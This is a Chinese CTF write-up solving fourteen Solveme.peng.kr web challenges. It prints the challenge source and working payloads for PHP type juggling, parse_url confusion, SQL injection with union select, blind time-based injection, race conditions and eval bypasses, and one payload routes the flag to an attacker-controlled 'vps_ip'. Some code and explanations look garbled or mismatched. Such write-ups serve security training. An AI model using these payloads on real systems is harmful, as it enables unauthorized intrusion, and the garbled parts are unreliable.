Solveme.peng.kr平台Web题解
字数 2554 2025-08-18 11:37:11

Solveme.peng.kr平台Web题解教学文档

1. Warmup (基础反编码)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);

解题步骤:

  1. 给定字符串: 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
  2. 反解过程:
    • Base64解码
    • 转换为16进制
    • 反转16进制字符串
    • 16进制转二进制
  3. PHP代码实现:
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));

关键点:

  • 理解编码转换顺序: Base64 → Hex → Reverse → Hex2bin
  • 使用PHP内置函数完成转换链

2. Bad Compare (非ASCII字符比较)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
    if($_GET['answer'] === 'роВВхУъесЧМ'){
        echo $flag;
    }
}

解题步骤:

  1. 发现需要提交的answer参数包含非ASCII字符
  2. 使用Python脚本获取原始字节:
import requests
import urllib
url = "http://badcompare.solveme.peng.kr"
s = requests.get(url=url)
print urllib.quote(s.content[917:927])
  1. 得到URL编码字符串: %F0%EE%C2%F5%D3%FA%E5%F1%D7%CC
  2. 直接提交编码后的字符串

关键点:

  • 非ASCII字符在URL中的处理
  • 使用urllib.quote获取原始字节编码
  • 直接提交URL编码后的参数

3. Winter Sleep (弱类型比较+科学计数法绕过)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
}

解题步骤:

  1. 计算范围: 5184000(606024302) ~ 7776000(606024303)
  2. 使用科学计数法绕过sleep:
    • 6e6 = 6000000 (在范围内)
    • (int)'6e6' = 6 (sleep很短)
  3. 提交payload: ?time=6e6

关键点:

  • PHP弱类型比较特性
  • 科学计数法绕过sleep
  • 字符串到整型的转换特性

4. Hard Login (路径跳转绕过)

题目源码:

<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['username'], $_GET['password'])){
    // 验证逻辑...
    $_SESSION['hard_login_check'] = true;
    echo 'Login success!';
    header('Location: ./');
}

解题步骤:

  1. 发现登录成功后跳转到./
  2. 直接访问index.php:
curl http://hardlogin.solveme.peng.kr/index.php
  1. 获取flag

关键点:

  • 路径跳转漏洞
  • 使用curl绕过前端限制
  • 直接访问隐藏路径

5. URL Filtering (parse_url解析漏洞)

题目源码:

<?php
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
// 过滤逻辑...
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
    die($flag);
}

解题步骤:

  1. 发现过滤do_you_want_flagyes关键词
  2. 利用parse_url解析特性:
    • 添加多余斜杠混淆解析
  3. payload: http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes

关键点:

  • parse_url函数解析漏洞
  • 多余斜杠绕过过滤
  • URL解析不一致性

6. Hash Collision (数组绕过哈希比较)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
    if($_GET['foo'] === $_GET['bar']){
        die('Same value');
    }
    if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
        die('Different hash');
    }
    echo $flag;
}

解题步骤:

  1. 需要两个不同值但相同SHA512哈希
  2. 利用PHP数组哈希特性:
    • 数组参数传递会返回NULL哈希
  3. payload: ?foo[]=1&bar[]=2

关键点:

  • PHP数组哈希特性
  • 类型混淆漏洞
  • 哈希函数对数组的处理

7. Array2String (非ASCII字符拼接)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
    if ($_GET['username']) unset($username);
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
        echo $flag;
    }
}

解题步骤:

  1. 需要构造value数组使拼接后username为'15th_HackingCamp'
  2. 利用chr()模256特性:
    • chr(321)=A因为321%256=65='A'
  3. 构造payload:
?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328
&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359
&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

关键点:

  • chr()函数的模256特性
  • 非ASCII字符拼接
  • 科学计数法绕过数字比较

8. Give Me a Link (URL解析混淆)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(preg_match('/_|\s|\0/', $url)){
        die('Not allowed character');
    }
    if(!preg_match('/^https?SERVER['HTTP_HOST'].'/i', $url)){
        die('Not allowed URL');
    }
    $parse = parse_url($url);
    if($parse['path'] !== '/plz_give_me'){
        die('Not allowed path');
    }
    // 发送flag到指定主机
}

解题步骤:

  1. 绕过下划线过滤: 使用%1a(替换字符)
  2. 绕过host验证: 使用@符号指定真实主机
  3. payload: http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame

关键点:

  • URL编码特殊字符
  • parse_url解析不一致性
  • @符号在URL中的用途

9. Replace Filter (换行符绕过正则)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
    $say = preg_replace('/^(.*)flag(.*)$/', '<!-- filtered -->', $_GET['say']);
    if(preg_match('/give_me_the_flag/', $say)){
        echo $flag;
    }
}

解题步骤:

  1. 正则/^(.*)flag(.*)$/不匹配换行符
  2. 使用换行符分割字符串
  3. payload: ?say=%0agive_me_the_flag

关键点:

  • 正则表达式行首/行尾匹配特性
  • 换行符绕过过滤
  • 多行字符串处理

10. Hell JS (JS混淆还原)

解题步骤:

  1. 分析混淆JS代码
  2. 发现大量数字拼接:
    "4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100"...
  3. 使用String.fromCharCode还原:
document.write(String.fromCharCode(47,47,32,103,111,111,100,...));
  1. 得到原始JS代码包含flag

关键点:

  • JS混淆技术
  • 数字到字符转换
  • 代码还原技巧

11. Anti SQLi (反斜杠转义绕过)

题目源码:

<?php
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
// 严格SQL过滤
$con = mysqli_connect(...);
$result = mysqli_fetch_array(
    mysqli_query($con, "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}')")
);
if(isset($result) && $result['no'] === '31337'){
    echo $flag;
}

解题步骤:

  1. 发现反斜杠过滤不完整: |\\|应为|\\\\|
  2. 使用反斜杠转义单引号:
    id=\转义结束引号
  3. 注释剩余部分: --%1a(使用不可见字符)
  4. payload: ?id=\&pw=union all select 31337,31337,31337 from antisqli --%1a

关键点:

  • SQL注入引号转义
  • 注释符绕过
  • 不可见字符使用

12. Name Check (SQLite字符串连接)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
    $name = $_GET['name'];
    if(preg_match("/admin|0/i", $name)){
        echo 'Not allowed input';
    }
    // SQLite查询要求name满足特定条件
    if( $row[0] + $row[1] + $row[2] + $row[3] === 4 ){
        echo $flag;
    }
}

解题步骤:

  1. 分析SQL查询需要构造'admin'但被过滤
  2. 使用SQLite字符串连接符||
  3. payload: ?name=adm'||'in

关键点:

  • SQLite字符串连接特性
  • 关键词分割绕过
  • 字符串拼接技巧

13. I Am Slowly (竞态条件利用)

题目源码:

<?php
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];
if(isset($answer)){
    // 检查count
    if($result['count'] === '12'){
        mysqli_query($con, "DROP TABLE `{$table}`;");
    }
    // 执行查询
    $randtime = mt_rand(1, 10);
    $result = mysqli_fetch_array(
        mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}'")
    );
    // 更新count
    mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
}

解题步骤:

  1. 利用竞态条件:
    • 先发送sleep(50)请求卡住
    • 快速发送正常请求使count=12
    • sleep请求完成后count=13绕过限制
  2. 编写盲注脚本获取answer

关键点:

  • 竞态条件利用
  • 时间盲注技巧
  • 并发请求处理

14. Check Via Eval (短标签输出)

题目源码:

<?php
error_reporting(0);
require __DIR__.'/lib.php';
$exam = 'return\''.sha1(time()).'\';';
if (eval($_GET['flag']) === sha1($flag)) {
    echo $flag;
}

解题步骤:

  1. 绕过过滤直接输出flag:
    • 使用短标签<?= ?>
  2. 构造payload:
    ?flag=$a='alag';$a{0}='f';?>

关键点:

  • PHP短标签使用
  • 字符串操作绕过过滤
  • eval函数特性利用
Solveme.peng.kr平台Web题解教学文档 1. Warmup (基础反编码) 题目源码 : 解题步骤 : 给定字符串: 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= 反解过程: Base64解码 转换为16进制 反转16进制字符串 16进制转二进制 PHP代码实现: 关键点 : 理解编码转换顺序: Base64 → Hex → Reverse → Hex2bin 使用PHP内置函数完成转换链 2. Bad Compare (非ASCII字符比较) 题目源码 : 解题步骤 : 发现需要提交的answer参数包含非ASCII字符 使用Python脚本获取原始字节: 得到URL编码字符串: %F0%EE%C2%F5%D3%FA%E5%F1%D7%CC 直接提交编码后的字符串 关键点 : 非ASCII字符在URL中的处理 使用urllib.quote获取原始字节编码 直接提交URL编码后的参数 3. Winter Sleep (弱类型比较+科学计数法绕过) 题目源码 : 解题步骤 : 计算范围: 5184000(60 60 24 30 2) ~ 7776000(60 60 24 30 3) 使用科学计数法绕过sleep: 6e6 = 6000000 (在范围内) (int)'6e6' = 6 (sleep很短) 提交payload: ?time=6e6 关键点 : PHP弱类型比较特性 科学计数法绕过sleep 字符串到整型的转换特性 4. Hard Login (路径跳转绕过) 题目源码 : 解题步骤 : 发现登录成功后跳转到 ./ 直接访问index.php: 获取flag 关键点 : 路径跳转漏洞 使用curl绕过前端限制 直接访问隐藏路径 5. URL Filtering (parse_ url解析漏洞) 题目源码 : 解题步骤 : 发现过滤 do_you_want_flag 和 yes 关键词 利用parse_ url解析特性: 添加多余斜杠混淆解析 payload: http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes 关键点 : parse_ url函数解析漏洞 多余斜杠绕过过滤 URL解析不一致性 6. Hash Collision (数组绕过哈希比较) 题目源码 : 解题步骤 : 需要两个不同值但相同SHA512哈希 利用PHP数组哈希特性: 数组参数传递会返回NULL哈希 payload: ?foo[]=1&bar[]=2 关键点 : PHP数组哈希特性 类型混淆漏洞 哈希函数对数组的处理 7. Array2String (非ASCII字符拼接) 题目源码 : 解题步骤 : 需要构造value数组使拼接后username为'15th_ HackingCamp' 利用chr()模256特性: chr(321)=A 因为 321%256=65='A' 构造payload: 关键点 : chr()函数的模256特性 非ASCII字符拼接 科学计数法绕过数字比较 8. Give Me a Link (URL解析混淆) 题目源码 : 解题步骤 : 绕过下划线过滤: 使用%1a(替换字符) 绕过host验证: 使用 @ 符号指定真实主机 payload: http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame 关键点 : URL编码特殊字符 parse_ url解析不一致性 @符号在URL中的用途 9. Replace Filter (换行符绕过正则) 题目源码 : 解题步骤 : 正则 /^(.*)flag(.*)$/ 不匹配换行符 使用换行符分割字符串 payload: ?say=%0agive_me_the_flag 关键点 : 正则表达式行首/行尾匹配特性 换行符绕过过滤 多行字符串处理 10. Hell JS (JS混淆还原) 解题步骤 : 分析混淆JS代码 发现大量数字拼接: "4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100"... 使用 String.fromCharCode 还原: 得到原始JS代码包含flag 关键点 : JS混淆技术 数字到字符转换 代码还原技巧 11. Anti SQLi (反斜杠转义绕过) 题目源码 : 解题步骤 : 发现反斜杠过滤不完整: |\\| 应为 |\\\\| 使用反斜杠转义单引号: id=\ 转义结束引号 注释剩余部分: --%1a (使用不可见字符) payload: ?id=\&pw=union all select 31337,31337,31337 from antisqli --%1a 关键点 : SQL注入引号转义 注释符绕过 不可见字符使用 12. Name Check (SQLite字符串连接) 题目源码 : 解题步骤 : 分析SQL查询需要构造'admin'但被过滤 使用SQLite字符串连接符 || payload: ?name=adm'||'in 关键点 : SQLite字符串连接特性 关键词分割绕过 字符串拼接技巧 13. I Am Slowly (竞态条件利用) 题目源码 : 解题步骤 : 利用竞态条件: 先发送sleep(50)请求卡住 快速发送正常请求使count=12 sleep请求完成后count=13绕过限制 编写盲注脚本获取answer 关键点 : 竞态条件利用 时间盲注技巧 并发请求处理 14. Check Via Eval (短标签输出) 题目源码 : 解题步骤 : 绕过过滤直接输出flag: 使用短标签 <?= ?> 构造payload: ?flag=$a='alag';$a{0}='f';?> 关键点 : PHP短标签使用 字符串操作绕过过滤 eval函数特性利用